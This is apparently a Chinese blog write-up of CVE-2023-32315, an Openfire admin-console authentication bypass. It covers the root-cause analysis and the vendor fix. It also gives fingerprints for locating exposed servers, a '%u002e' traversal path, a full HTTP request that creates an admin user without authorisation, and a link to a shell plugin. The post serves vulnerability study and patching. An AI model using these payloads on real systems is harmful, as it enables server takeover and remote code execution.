CVE-2023-32315 openfire 认证绕过漏洞

漏洞信息

漏洞名称:Openfire 管理后台认证绕过漏洞复现

应用介绍:Openfire 是免费的、开源的、基于可拓展通讯和表示协议 ( XMPP )、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。

影响版本:

  • 3.10.0 <= Openfire < 4.6.8

  • 4.7.0 <= Openfire 4.7.x < 4.7.5

漏洞介绍:Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。我们可以借此漏洞未授权创建管理员用户,并结合后台自定义插件的上传,达到 RCE。

搜索语法:

  • icon_hash=”1211608009”
  • body=”jive-loginVersion”
  • title=”Openfire Admin Console”
  • title=”Openfire 管理”
  • title=”Openfire Console Admin”

环境搭建

https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4_x64.exe

漏洞分析

Openfire 管理后台曾经爆出过一次 CVE-2008-6508,该漏洞也是路径穿越漏洞,随后官方对其进行修复,修复方法为检测路径中是否有 .. 和 %2e ( .. 的 url 编码 ),但由于Openfire内置的 Jetty Web 服务器升级支持对 UTF-16 ( %u002e ) 这类非标准 unicode uri 的解析,从而使路径穿越重新出现。

源码:https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4.zip

先看 web.xml 中的过滤器:xmppserver/src/main/webapp/WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>
login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</param-value>
</init-param>
</filter>

定位过滤器位置,查看器 doFilter 函数:org/jivesoftware/admin/AuthCheckFilter.java

image

它有一个对于 excludes的判断,就是判断 URL 是否是后台过滤器的白名单,如果是那就不进行后面匹配,跟进具体的实现:

image

可以看到它第一个判断中,对应有 *存在的白名单规则,截取路径部分,然后判断其中是否包含 .. 和 %2e,如果都不存在则返回 true 然后就会绕过后面的权限校验。

上面说过器内置服务器可以解析 UTF-16 这类字符,那么就可以把 ../换成 %u002e%u002e/ 就可以再次进行路径穿越。

那么只要使用 setup/setup-* 加上  %u002e%u002e/  就可以实现路径穿越。

就像这样:/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

漏洞利用

利用思路为:

  1. 创建后台用户登录后台

  2. 上传插件 getshell

创建后台用户:

image

GET /user-create.jsp?csrf=643LDwk5NJtV8JO&username=demo&name=&email=&password=demo&passwordConfirm=&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 127.0.0.1:9090
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:9090/user-create.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node0p140w41smlfh1vcb7ab9h9gm938.node0; csrf=643LDwk5NJtV8JO
Connection: close

image

发现还需要一个 csrf 和 JSESSIONID,这两个东西直接访问个页面就会回显:

image

获取这 2 个东西后,即可创建用户。不过后面发现没有这两个也能创建用户,但是貌似不太稳定?第一次直接成功,但后面几次都失败了,还是加上稳一点。

然后上传插件:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/download/v0.1/org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar

image

密码是 123

image

漏洞修复

看了一下过滤器,发现直接把有 *的白名单给删除了:

image

然后 testURLPassesExclude 这里,对 URL 进行 utf-8 解码,这样就解决了上面的因为编码问题导致绕过:

25880dd2-c93d-4128-bd18-0fffafe2091f


CVE-2023-32315 openfire 认证绕过漏洞
https://liancccc.github.io/2023/11/15/技术/漏洞分析/CVE-2023-32315/
作者
守心
发布于
2023年11月15日
许可协议